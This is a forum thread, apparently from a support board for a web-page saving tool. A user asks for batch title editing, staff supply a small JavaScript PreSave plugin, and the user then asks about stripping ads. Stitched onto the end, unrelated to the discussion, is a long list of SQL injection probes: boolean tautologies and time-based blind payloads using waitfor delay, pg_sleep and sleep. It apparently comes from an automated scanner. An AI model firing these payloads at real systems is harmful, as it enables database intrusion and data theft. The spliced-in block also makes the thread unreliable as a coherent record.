I need the script to modify all the webpages stored in a specific folder in a batchwise way:
1. Deleted the common suffix, e.g. " - Surfactant.com"
2. Add a common prefix, e.g. "2012.12.19 - "
I tried to understand the sample script, but it seems to be a little difficult.
Thanks a lot!
Sorry! I mean "modify titles of all the webpages".
Hi!
Inquiry haven't plugins for changing the saved pages. You can modify a page with a plugin only you are saving it.
//MPIQPlugin
//Type=PreSave
//Name=Titler
//Author=anfilat
function MP_PreSave() {
var title, now, prefix, ind;
title = document.title,
ind = title.lastIndexOf('-');
if (ind) {
title = title.substring(0, ind - 1);
}
now = new Date();
prefix = now.getFullYear() + '.' + (now.getMonth() + 1) + '.' + now.getDate() + ' - ';
document.title = prefix + title;
}
Best regards,
Andrey Filatkin
MP Staff
Wonderful!
Thank you so much!
Dear Sir,
Is it possible to find a general plugin to skip ads in a webpage?
I examined the webpage myself and found that, if I remove the content after a string "<li class='comments'>", most ads can be skipped and the stored page would be significantly smaller - one third the orginal size.
If possible, could you kindly also code the pre_save function for the job?
The webpage is:
http://www.businessweek.com/articles/2012-12-10/apples-cook-says-more-macs-will-be-born-in-the-u-dot-s-dot-a-dot
If you think this request is annoying, could you kindly send me an example doing similar stuff?
Thanks!
-1 OR 2+455-455-1=0+0+0+1 --
-1 OR 2+618-618-1=0+0+0+1
-1' OR 2+366-366-1=0+0+0+1 --
-1; waitfor delay '0:0:0' --
-1; waitfor delay '0:0:5' --
-1); waitfor delay '0:0:10' --
-1)); waitfor delay '0:0:10' --
1 waitfor delay '0:0:10' --
e7Rzb63l'; waitfor delay '0:0:15' --
PYvk4Byl'); waitfor delay '0:0:15' --
RcTnBTua')); waitfor delay '0:0:5' --
-1;select pg_sleep(5); --
-1);select pg_sleep(5); --
-1));select pg_sleep(10); --
fSCh8kAs';select pg_sleep(10); --
SvqEj4WC');select pg_sleep(15); --
cLdOpbAU'));select pg_sleep(5); --
-1 OR 2+731-731-1=0+0+0+1 --
-1 OR 2+569-569-1=0+0+0+1
-1' OR 2+323-323-1=0+0+0+1 --
-1' OR 2+525-525-1=0+0+0+1 or 'TTrNeIxn'='
-1" OR 2+443-443-1=0+0+0+1 --
if(now()=sysdate(),sleep(18),0)/*'XOR(if(now()=sysdate(),sleep(18),0))OR'"XOR(if(now()=sysdate(),sleep(18),0))OR"*/
(select(0)from(select(sleep(18)))v)/*'+(select(0)from(select(sleep(18)))v)+'"+(select(0)from(select(sleep(18)))v)+"*/
-1; waitfor delay '0:0:18' --
-1); waitfor delay '0:0:6' --
-1)); waitfor delay '0:0:6' --
1 waitfor delay '0:0:6' --
28MUnAhf'; waitfor delay '0:0:12' --
lyXHZ8iI'); waitfor delay '0:0:12' --
b41mt5yp')); waitfor delay '0:0:12' --
-1;select pg_sleep(12); --
-1);select pg_sleep(18); --
-1));select pg_sleep(18); --
fR0y83qG';select pg_sleep(18); --
9ZQm08GT');select pg_sleep(18); --
vTaUtzNt'));select pg_sleep(6); --